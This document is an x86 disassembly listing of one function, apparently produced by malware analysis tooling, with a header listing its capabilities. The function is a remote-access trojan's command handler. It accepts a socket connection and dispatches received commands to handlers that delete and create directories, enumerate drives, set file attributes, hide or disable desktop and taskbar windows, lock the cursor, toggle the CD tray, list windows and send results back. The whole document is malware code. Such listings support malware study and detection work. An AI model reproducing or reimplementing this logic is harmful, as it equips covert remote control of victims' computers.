Function at 0x416244
Capabilities:
Create directory
Delete directory
Enumerate gui resources
Get disk information
Get file attributes
Hide graphical window
Receive data
Receive data on socket
Resume thread
Send data
Send data on socket
Set file attributes
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x13
push 0
push 0
dec ecx
jne 0x41624c
push ecx
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x41796e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 8
jne 0x416282
push 0
push 0
mov eax, dword [0x42019c]
push eax
call sub.wsock32.dll_accept
mov edx, dword [0x41d660]
mov dword [edx], eax
dec ebx
jne 0x417936
mov eax, dword [0x41d6bc]
xor ecx, ecx
mov edx, 0x403
call fcn.00402e0c
push 0
push 0x403
mov eax, dword [0x41d6bc]
push eax
mov eax, dword [0x41d660]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_recv
mov esi, eax
sub esi, 3
lea eax, [ebp - 4]
mov edx, dword [0x41d6bc]
mov ecx, 0x403
call fcn.00403f7c
mov eax, dword [0x41d674]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [0x41d674]
mov eax, dword [eax]
call fcn.00406164
mov dword [0x4201a0], eax
mov eax, dword [0x4201a0]
cmp eax, 0xf3
ja case.0x41630b.0
mov al, byte [eax + 0x416312]
jmp dword [eax*4 + 0x416406]
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
call fcn.00403fb8
mov ecx, eax
sub ecx, 3
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 0x38]
mov edx, dword [0x41d590]
mov edx, dword [edx + 8]
call fcn.00404104
jne case.0x41630b.0
mov eax, dword [0x41d5a8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov eax, dword [0x41d6c4]
mov byte [eax], 0
mov eax, dword [0x41d670]
mov byte [eax], 0
mov eax, dword [0x41d6a8]
call fcn.00403e10
mov eax, dword [0x41d558]
mov dword [eax], 0
mov dword [eax + 4], 0
mov eax, dword [0x41d674]
mov edx, 0x417984
call fcn.00403e64
jmp case.0x41630b.0
mov eax, dword [0x41d650]
push eax
mov ecx, 0x7fff
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [0x41d6c4]
mov byte [eax], 0
mov eax, dword [0x41d670]
mov byte [eax], 0
mov eax, dword [0x41d650]
mov eax, dword [eax]
mov edx, 0x417990
call fcn.00404104
jne 0x4165af
mov eax, dword [0x41d650]
mov edx, dword [0x41d5f0]
mov edx, dword [edx]
call fcn.00403e64
mov eax, dword [0x41d544]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_SuspendThread
mov eax, dword [0x41d650]
mov eax, dword [eax]
call fcn.00406938
lea edx, [ebp - 0x3c]
call fcn.004061b8
mov ecx, dword [ebp - 0x3c]
mov eax, dword [0x41d674]
mov edx, 0x41799c
call fcn.00404004
mov eax, dword [0x41d650]
mov eax, dword [eax]
mov edx, dword [0x41d5f0]
mov edx, dword [edx]
call fcn.00404104
jne case.0x41630b.0
mov eax, dword [0x41d674]
mov eax, dword [eax]
cmp byte [eax + 3], 0x30
jne case.0x41630b.0
mov eax, dword [0x41d544]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_ResumeThread
jmp case.0x41630b.0
lea eax, [ebp - 8]
push eax
mov ecx, 0x7fff
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 8]
call fcn.004061e0
mov eax, dword [ebp - 8]
call fcn.004041b8
push eax
call sub.KERNEL32.DLL_RemoveDirectoryA
jmp case.0x41630b.0
call sub.KERNEL32.DLL_GetLogicalDrives
mov edx, dword [0x41d5c0]
mov dword [edx], eax
xor ebx, ebx
mov ecx, ebx
mov eax, 1
shl eax, cl
mov edx, dword [0x41d5c0]
and eax, dword [edx]
je 0x416684
lea eax, [ebp - 0x40]
mov edx, ebx
add dl, 0x41
call fcn.00403f30
mov edx, dword [ebp - 0x40]
mov eax, dword [0x41d674]
call fcn.00403fc0
mov eax, dword [0x41d674]
inc ebx
cmp ebx, 0x1a
jne 0x416652
jmp case.0x41630b.0
mov eax, dword [0x41d638]
push eax
mov ecx, 0x7fff
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [0x41d650]
mov edx, dword [0x41d580]
mov edx, dword [edx]
call fcn.00403e64
mov eax, dword [0x41d638]
mov eax, dword [eax]
call fcn.00406550
mov eax, dword [0x41d694]
mov eax, dword [eax]
call fcn.00403fb8
add eax, 2
lea edx, [ebp - 0x44]
call fcn.004061b8
mov edx, dword [ebp - 0x44]
mov eax, dword [0x41d674]
call fcn.00403fc0
mov eax, dword [0x41d674]
mov eax, dword [0x41d6c4]
mov byte [eax], 0
mov eax, dword [0x41d670]
mov byte [eax], 0
jmp case.0x41630b.0
mov eax, dword [0x41d650]
mov eax, dword [eax]
call fcn.00406724
mov eax, dword [0x41d5a8]
cmp dword [eax + 4], 0
jne case.0x41630b.0
cmp dword [eax], 0
jne case.0x41630b.0
mov eax, dword [0x41d650]
mov eax, dword [eax]
mov edx, dword [0x41d5f0]
mov edx, dword [edx]
call fcn.00404104
je 0x41676d
mov eax, dword [0x41d650]
mov eax, dword [eax]
mov edx, dword [0x41d580]
mov edx, dword [edx]
call fcn.00404104
je 0x41676d
mov eax, dword [0x41d650]
mov eax, dword [eax]
mov edx, dword [0x41d5b8]
mov edx, dword [edx]
call fcn.00404104
jne case.0x41630b.0
mov eax, dword [0x41d650]
mov eax, dword [eax]
call fcn.004079d4
mov eax, dword [0x41d544]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_ResumeThread
jmp case.0x41630b.0
mov eax, 0xc
call fcn.004073e4
jmp case.0x41630b.0
mov eax, 6
call fcn.004073e4
jmp case.0x41630b.0
mov eax, dword [0x41d578]
call fcn.00403e10
push 0
push 0x4073f8
call sub.user32.dll_EnumWindows
mov eax, dword [0x41d674]
mov edx, dword [0x41d578]
mov edx, dword [edx]
call fcn.00403fc0
mov eax, dword [0x41d674]
jmp case.0x41630b.0
call sub.KERNEL32.DLL_GetLogicalDrives
mov edx, dword [0x41d5c0]
mov dword [edx], eax
mov ebx, 0x19
mov ecx, ebx
mov eax, 1
shl eax, cl
mov edx, dword [0x41d5c0]
and eax, dword [edx]
je 0x416835
lea eax, [ebp - 0x48]
mov edx, ebx
add dl, 0x41
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x48]
lea eax, [ebp - 0x4c]
call fcn.00402db4
mov edx, 0x4179a0
lea eax, [ebp - 0x4c]
mov cl, 2
call fcn.00402d84
lea edx, [ebp - 0x4c]
mov eax, dword [0x41d674]
call fcn.00403f70
mov eax, dword [0x41d674]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 3
jne 0x416858
mov eax, dword [0x41d674]
mov eax, dword [eax]
call fcn.004061e0
dec ebx
test ebx, ebx
jne 0x4167ed
jmp case.0x41630b.0
lea eax, [ebp - 0x54]
push eax
mov ecx, 0x7fff
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 0x54]
call fcn.00406938
lea edx, [ebp - 0x50]
call fcn.004061b8
mov edx, dword [ebp - 0x50]
mov eax, dword [0x41d674]
call fcn.00403fc0
mov eax, dword [0x41d674]
jmp case.0x41630b.0
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179ac
call fcn.004042a0
mov ecx, eax
sub ecx, 4
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179ac
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x7fff
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [0x41d694]
call fcn.00403e10
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.0040636c
mov eax, dword [0x41d694]
cmp dword [eax], 0
jne 0x416913
mov eax, dword [0x41d694]
mov edx, 0x4179b8
call fcn.00403e64
jmp 0x41692f
mov eax, dword [0x41d694]
push eax
mov eax, dword [0x41d694]
mov eax, dword [eax]
mov ecx, 0xffd
mov edx, 1
call fcn.00404218
mov eax, dword [0x41d674]
mov edx, dword [0x41d694]
mov edx, dword [edx]
call fcn.00403fc0
mov eax, dword [0x41d674]
jmp case.0x41630b.0
lea eax, [ebp - 0x58]
push eax
mov ecx, 0x7fff
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 0x58]
call fcn.004079d4
jmp case.0x41630b.0
call fcn.00406f48
jmp case.0x41630b.0
mov ebx, 1
push 0
push ebx
call sub.user32.dll_ShowWindow
inc ebx
cmp ebx, 0x186a0
jne 0x41697d
jmp case.0x41630b.0
lea eax, [ebp - 0x5c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov ecx, eax
sub ecx, 4
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 0x5c]
call fcn.00406164
cdq
mov ecx, dword [0x41d59c]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov eax, dword [0x41d650]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x3e8
mov eax, dword [ebp - 4]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov edx, dword [0x41d650]
mov edx, dword [edx]
mov eax, 0x4179d0
call fcn.004042a0
mov ecx, eax
dec ecx
mov eax, dword [0x41d650]
mov eax, dword [eax]
mov edx, 1
call fcn.00404218
mov eax, dword [ebp - 8]
mov edx, 0x4179dc
call fcn.00404104
jne 0x416a51
mov edx, dword [0x41d570]
mov edx, dword [edx]
mov eax, dword [0x41d6a8]
mov ecx, 0x4179e8
call fcn.00404004
mov eax, dword [0x41d650]
mov edx, dword [0x41d6a8]
mov edx, dword [edx]
call fcn.00403e64
jmp 0x416ac3
mov eax, dword [ebp - 8]
mov edx, 0x4179fc
call fcn.00404104
jne 0x416a90
mov edx, dword [0x41d570]
mov edx, dword [edx]
mov eax, dword [0x41d650]
mov ecx, 0x417a08
call fcn.00404004
mov edx, dword [0x41d570]
mov edx, dword [edx]
mov eax, dword [0x41d5b8]
mov ecx, 0x417a18
call fcn.00404004
jmp 0x416ac3
push 0
mov eax, dword [ebp - 8]
call fcn.004041b8
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
mov edx, dword [0x41d650]
mov edx, dword [edx]
mov eax, 0x4179d0
call fcn.004042a0
mov edx, eax
mov eax, dword [0x41d650]
mov ecx, 1
call fcn.00404258
mov eax, dword [0x41d650]
mov eax, dword [eax]
call fcn.004079d4
jmp case.0x41630b.0
mov eax, dword [0x41d668]
mov byte [eax], 2
mov edx, dword [0x41d650]
mov edx, dword [edx]
mov eax, dword [0x41d550]
call fcn.00402b94
call fcn.004026bc
test eax, eax
je 0x416b0e
mov eax, dword [0x41d558]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x417936
mov eax, dword [0x41d558]
cmp dword [eax + 4], 0
jne 0x416b34
cmp dword [eax], 0
jne 0x416b34
mov eax, dword [0x41d550]
mov edx, 1
call fcn.00402fac
call fcn.0040263c
jmp 0x416b48
mov eax, dword [0x41d550]
mov edx, 1
call fcn.00402f90
call fcn.0040263c
mov eax, dword [0x41d550]
call fcn.00402dc0
call fcn.0040263c
mov ebx, eax
mov eax, dword [0x41d550]
mov edx, ebx
call fcn.00402fb8
call fcn.0040263c
push 0
mov edx, dword [0x41d6bc]
add edx, 3
mov eax, dword [0x41d550]
mov ecx, esi
call fcn.00402d0c
call fcn.0040263c
mov eax, dword [0x41d550]
call fcn.00402d2c
call fcn.0040263c
mov eax, esi
cdq
mov ecx, dword [0x41d558]
add eax, dword [ecx]
adc edx, dword [ecx + 4]
mov ecx, dword [0x41d558]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov eax, dword [0x41d674]
mov edx, 0x417a28
call fcn.00403e64
mov eax, dword [0x41d558]
mov edx, dword [eax + 4]
mov eax, dword [eax]
mov ecx, dword [0x41d59c]
cmp edx, dword [ecx + 4]
jne 0x416bdc
cmp eax, dword [ecx]
jb case.0x41630b.0
jmp 0x416be2
jl case.0x41630b.0
mov dword [0x4201a0], 2
mov eax, dword [0x41d558]
mov dword [eax], 0
mov dword [eax + 4], 0
mov edx, dword [0x41d570]
mov edx, dword [edx]
lea eax, [ebp - 0x60]
mov ecx, 0x4179e8
call fcn.00404004
mov edx, dword [ebp - 0x60]
mov eax, dword [0x41d650]
mov eax, dword [eax]
call fcn.00404104
jne 0x416c69
mov eax, dword [0x41d674]
mov edx, 0x417a34
call fcn.00403fc0
mov eax, dword [0x41d674]
push 0
mov eax, dword [0x41d674]
mov eax, dword [eax]
call fcn.00403fb8
push eax
mov eax, dword [0x41d674]
call fcn.00404210
push eax
mov eax, dword [0x41d660]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_send
call fcn.00407800
jmp case.0x41630b.0
mov edx, dword [0x41d570]
mov edx, dword [edx]
lea eax, [ebp - 0x64]
mov ecx, 0x417a08
call fcn.00404004
mov edx, dword [ebp - 0x64]
mov eax, dword [0x41d650]
mov eax, dword [eax]
call fcn.00404104
jne case.0x41630b.0
mov eax, dword [0x41d6c4]
mov byte [eax], 0
mov eax, dword [0x41d670]
mov byte [eax], 0
mov eax, dword [0x41d650]
push dword [eax]
push 0x417a40
mov eax, dword [0x41d5b8]
push dword [eax]
lea eax, [ebp - 0x68]
mov edx, 3
call fcn.00404078
mov eax, dword [ebp - 0x68]
mov cl, 1
xor edx, edx
call fcn.00405dd0
mov eax, dword [0x41d650]
mov eax, dword [eax]
call fcn.004079d4
mov eax, dword [0x41d650]
mov edx, dword [0x41d5b8]
mov edx, dword [edx]
call fcn.00403e64
mov dword [0x4201a0], 0x3e6
mov eax, dword [0x41d650]
mov eax, dword [eax]
call fcn.00406938
lea edx, [ebp - 0x6c]
call fcn.004061b8
mov ecx, dword [ebp - 0x6c]
mov eax, dword [0x41d674]
mov edx, 0x417a54
call fcn.00404004
jmp case.0x41630b.0
mov eax, 5
call fcn.004073e4
jmp case.0x41630b.0
mov eax, 4
call fcn.004073e4
jmp case.0x41630b.0
push 5
push 0
mov eax, dword [0x41d684]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp case.0x41630b.0
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov ecx, eax
sub ecx, 4
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x104
mov eax, dword [ebp - 4]
call fcn.00404218
push pe_nt_image_headers32
mov eax, dword [ebp - 0xc]
call fcn.004041b8
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
mov eax, dword [0x41d5ac]
mov edx, dword [ebp - 0xc]
call fcn.00402b94
mov eax, dword [0x41d5ac]
mov edx, dword [ebp - 8]
call fcn.00402e2c
call fcn.0040263c
jmp case.0x41630b.0
lea eax, [ebp - 8]
push eax
mov ecx, 0x104
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
xor ecx, ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405dd0
jmp case.0x41630b.0
mov eax, dword [0x41d5cc]
mov byte [eax], 1
call fcn.00406d80
mov eax, dword [0x41d5cc]
mov byte [eax], 0
mov eax, dword [0x41d658]
mov eax, dword [eax]
call fcn.00404744
mov esi, eax
dec esi
test esi, esi
jl 0x416e5a
inc esi
xor ebx, ebx
mov eax, dword [0x41d674]
push dword [eax]
mov eax, dword [0x41d658]
mov eax, dword [eax]
push dword [eax + ebx*4]
push 0x417a60
mov eax, dword [0x41d674]
mov edx, 3
call fcn.00404078
inc ebx
dec esi
jne 0x416e31
push 0
mov eax, dword [0x41d658]
mov ecx, 1
mov edx, dword [0x405cc8]
call fcn.004048f8
add esp, 4
jmp case.0x41630b.0
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov ecx, eax
sub ecx, 4
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 2
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 8]
call fcn.00406164
push eax
mov eax, dword [ebp - 0xc]
call fcn.004041b8
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
jmp case.0x41630b.0
lea eax, [ebp - 8]
push eax
mov ecx, 0x104
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 8]
call fcn.004041b8
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
lea edx, [ebp - 0x70]
call fcn.004061b8
mov edx, dword [ebp - 0x70]
mov eax, dword [0x41d674]
call fcn.00403fc0
mov eax, dword [0x41d674]
jmp case.0x41630b.0
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov ecx, eax
sub ecx, 4
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179c4
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x3e8
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [0x41d674]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179d0
call fcn.004042a0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404218
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179d0
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x3e8
mov eax, dword [ebp - 4]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov ecx, 0x1f4
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 8]
call fcn.00406164
push eax
mov eax, dword [ebp - 0xc]
call fcn.004041b8
push eax
mov eax, dword [0x41d674]
mov eax, dword [eax]
call fcn.004041b8
push eax
push 0
call sub.user32.dll_MessageBoxA
jmp case.0x41630b.0
mov eax, dword [0x41d674]
push dword [eax]
lea eax, [ebp - 0x74]
mov edx, dword [0x41d688]
mov edx, dword [edx]
call fcn.00403f40
push dword [ebp - 0x74]
push 0x4179c4
lea eax, [ebp - 0x78]
mov edx, dword [0x41d654]
mov edx, dword [edx]
call fcn.00403f40
push dword [ebp - 0x78]
mov eax, dword [0x41d674]
mov edx, 4
call fcn.00404078
mov eax, dword [0x41d674]
push dword [eax]
push 0x4179d0
mov eax, dword [0x41d584]
push dword [eax]
push 0x417a6c
mov eax, dword [0x41d560]
push dword [eax]
push 0x417a78
mov eax, dword [0x41d5a0]
push dword [eax]
push 0x417a84
mov eax, dword [0x41d570]
push dword [eax]
mov eax, dword [0x41d674]
mov edx, 9
call fcn.00404078
mov eax, dword [0x41d63c]
mov eax, dword [eax]
call fcn.00404744
test eax, eax
jle 0x41708b
lea eax, [ebp - 0xc]
mov edx, 0x417a90
call fcn.00403ea8
jmp 0x417093
lea eax, [ebp - 0xc]
call fcn.00403e10
mov eax, dword [0x41d590]
cmp dword [eax + 0x14], 0
je 0x4170ad
lea eax, [ebp - 8]
mov edx, 0x417a90
call fcn.00403ea8
jmp 0x4170b5
lea eax, [ebp - 8]
call fcn.00403e10
mov eax, dword [0x41d590]
cmp dword [eax + 0x18], 0
je 0x4170d1
mov eax, dword [0x41d62c]
mov edx, 0x417a90
call fcn.00403e64
jmp 0x4170db
mov eax, dword [0x41d62c]
call fcn.00403e10
mov eax, dword [0x41d674]
push dword [eax]
push 0x417a9c
lea edx, [ebp - 0x7c]
mov eax, dword [0x41d574]
mov eax, dword [eax]
call fcn.004061b8
push dword [ebp - 0x7c]
push 0x417aa8
lea edx, [ebp - 0x80]
mov eax, dword [0x41d568]
mov eax, dword [eax]
call fcn.004061b8
push dword [ebp - 0x80]
push 0x417ab4
push 0x417ac0
push 0x417ad0
mov eax, dword [0x41d6ac]
push dword [eax]
push 0x417adc
mov eax, dword [0x41d590]
push dword [eax]
push 0x417ae8
mov eax, dword [0x41d590]
push dword [eax + 0xc]
push 0x417af4
push dword [ebp - 0xc]
push 0x417b00
mov eax, dword [0x41d62c]
push dword [eax]
push 0x417b0c
push dword [ebp - 8]
push 0x417b18
mov eax, dword [0x41d590]
push dword [eax + 0x2c]
push 0x417b24
mov eax, dword [0x41d590]
push dword [eax + 0x20]
push 0x417b30
mov eax, dword [0x41d590]
push dword [eax + 0x24]
push 0x417b3c
mov eax, dword [0x41d590]
push dword [eax + 0x28]
push 0x417b48
mov eax, dword [0x41d590]
push dword [eax + 0x38]
push 0x417b54
mov eax, dword [0x41d590]
push dword [eax + 0x34]
push 0x417b60
mov eax, dword [0x41d674]
mov edx, 0x20
call fcn.00404078
jmp case.0x41630b.0
lea eax, [ebp - 0x24]
call fcn.004082e4
jmp case.0x41630b.0
lea eax, [ebp - 0x84]
push eax
mov ecx, 0x7fff
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 0x84]
call fcn.004041b8
mov edx, dword [0x41d648]
mov edx, dword [edx]
call fcn.0040835c
jmp case.0x41630b.0
push 2
mov eax, dword [0x42019c]
push eax
call sub.wsock32.dll_shutdown
mov eax, dword [0x42019c]
push eax
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
mov eax, dword [0x41d634]
mov eax, dword [eax]
push eax
mov eax, dword [0x41d66c]
mov eax, dword [eax + 0x24]
push eax
call sub.user32.dll_UnregisterClassA
jmp case.0x41630b.0
call fcn.00407800
jmp case.0x41630b.0
push 0
push 0
push 0
push 0x417b64
call sub.winmm.dll_mciSendStringA
jmp case.0x41630b.0
push 0
push 0
push 0
push 0x417b7c
call sub.winmm.dll_mciSendStringA
jmp case.0x41630b.0
push 5
push 0
push 0x417b94
push 0
push 0
mov eax, dword [0x41d684]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_ShowWindow
jmp case.0x41630b.0
push 0
push 0
push 0x417b94
push 0
push 0
mov eax, dword [0x41d684]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_ShowWindow
jmp case.0x41630b.0
push 0
push 0
mov eax, dword [0x41d684]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_EnableWindow
jmp case.0x41630b.0
push 0xffffffffffffffff
push 0
mov eax, dword [0x41d684]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_EnableWindow
jmp case.0x41630b.0
push 0
push 0
mov eax, dword [0x41d684]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp case.0x41630b.0
lea eax, [ebp - 0x14]
push eax
call sub.user32.dll_GetCursorPos
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
call sub.user32.dll_ClipCursor
jmp case.0x41630b.0
push 0
call sub.user32.dll_ClipCursor
jmp case.0x41630b.0
push 0
push 0
push 0x417b9c
push 0
push 0
push 0x417bac
push 0
push 0
mov eax, dword [0x41d684]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_ShowWindow
jmp case.0x41630b.0
push 5
push 0
push 0x417b9c
push 0
push 0
push 0x417bac
push 0
push 0
mov eax, dword [0x41d684]
mov eax, dword [eax]
call fcn.004041b8
push eax
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_ShowWindow
jmp case.0x41630b.0
lea eax, [ebp - 0x88]
mov edx, dword [ebp - 4]
mov dl, byte [edx + 3]
call fcn.00403f30
mov eax, dword [ebp - 0x88]
call fcn.00406164
mov ebx, eax
lea eax, [ebp - 8]
push eax
mov ecx, 0x7fff
mov edx, 5
mov eax, dword [ebp - 4]
call fcn.00404218
cmp dword [0x4201a0], 0x2a
jne 0x417481
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00407b6c
mov eax, dword [0x41d650]
mov edx, dword [0x41d580]
mov edx, dword [edx]
call fcn.00403e64
mov eax, dword [0x41d580]
mov eax, dword [eax]
call fcn.00406938
lea edx, [ebp - 0x8c]
call fcn.004061b8
mov edx, dword [ebp - 0x8c]
mov eax, dword [0x41d674]
call fcn.00403fc0
mov eax, dword [0x41d674]
mov eax, dword [0x41d6c4]
mov byte [eax], 1
jmp case.0x41630b.0
cmp dword [0x4201a0], 0x61
jne 0x417499
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00408148
jmp case.0x41630b.0
cmp dword [0x4201a0], 0x60
jne 0x4174f6
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x4179c4
call fcn.004042a0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x4179c4
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x7fff
mov eax, dword [ebp - 8]
call fcn.00404218
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.004080c4
jmp case.0x41630b.0
cmp dword [0x4201a0], 0x5f
jne 0x41750e
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.0040804c
jmp case.0x41630b.0
cmp dword [0x4201a0], 0x5e
jne case.0x41630b.0
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x4179c4
call fcn.004042a0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x4179c4
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x7fff
mov eax, dword [ebp - 8]
call fcn.00404218
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x4179d0
call fcn.004042a0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00404218
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x4179d0
call fcn.004042a0
mov edx, eax
inc edx
mov ecx, 0x7fff
mov eax, dword [ebp - 4]
call fcn.00404218
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00407e30
jmp case.0x41630b.0
mov dl, 1
mov eax, dword [0x40f1fc]
call fcn.00412fe0
mov dword [0x4201ac], eax
mov eax, dword [0x41d5b4]
cmp byte [eax], 0
je 0x4175dc
call fcn.00416114
mov dword [0x4201b0], eax
jmp 0x4175e6
call fcn.00416014
mov dword [0x4201b0], eax
push 0
xor ecx, ecx
mov edx, dword [0x4201b0]
mov eax, dword [0x4201ac]
call fcn.0041339c
mov eax, dword [0x4201b0]
push eax
call sub.gdi32.dll_DeleteObject
lea eax, [ebp - 0x90]
mov edx, dword [ebp - 4]
mov dl, byte [edx + 3]
call fcn.00403f30
mov eax, dword [ebp - 0x90]
call fcn.00406164
mov edx, dword [0x4201ac]
mov byte [edx + 0x205], al
mov eax, dword [0x41d674]
mov edx, 0x417bc4
call fcn.00403fc0
mov eax, dword [0x41d674]
cmp dword [0x4201b0], 0
je 0x4176a6
mov edx, dword [0x41d580]
mov edx, dword [edx]
mov eax, dword [0x4201ac]
call fcn.004131e4
mov eax, dword [0x41d650]
mov edx, dword [0x41d580]
mov edx, dword [edx]
call fcn.00403e64
mov eax, dword [0x41d580]
mov eax, dword [eax]
call fcn.00406938
mov ebx, eax
cmp ebx, 0x2710
jle 0x4176a6
lea edx, [ebp - 0x94]
mov eax, ebx
call fcn.004061b8
mov edx, dword [ebp - 0x94]
mov eax, dword [0x41d674]
call fcn.00403fc0
mov eax, dword [0x41d674]
mov eax, dword [0x41d670]
mov byte [eax], 1
mov eax, dword [0x41d6c4]
mov byte [eax], 0
mov eax, dword [0x4201ac]
call fcn.00403430
jmp case.0x41630b.0
lea eax, [ebp - 8]
push eax
mov ecx, 0x7fff
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.00404218
mov edx, dword [ebp - 8]
mov eax, 0x4179c4
call fcn.004042a0
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00404218
lea eax, [ebp - 8]
push eax
lea edx, [ebx + 1]
mov ecx, 0x7fff
mov eax, dword [ebp - 8]
call fcn.00404218
mov eax, dword [ebp - 8]
call fcn.00406164
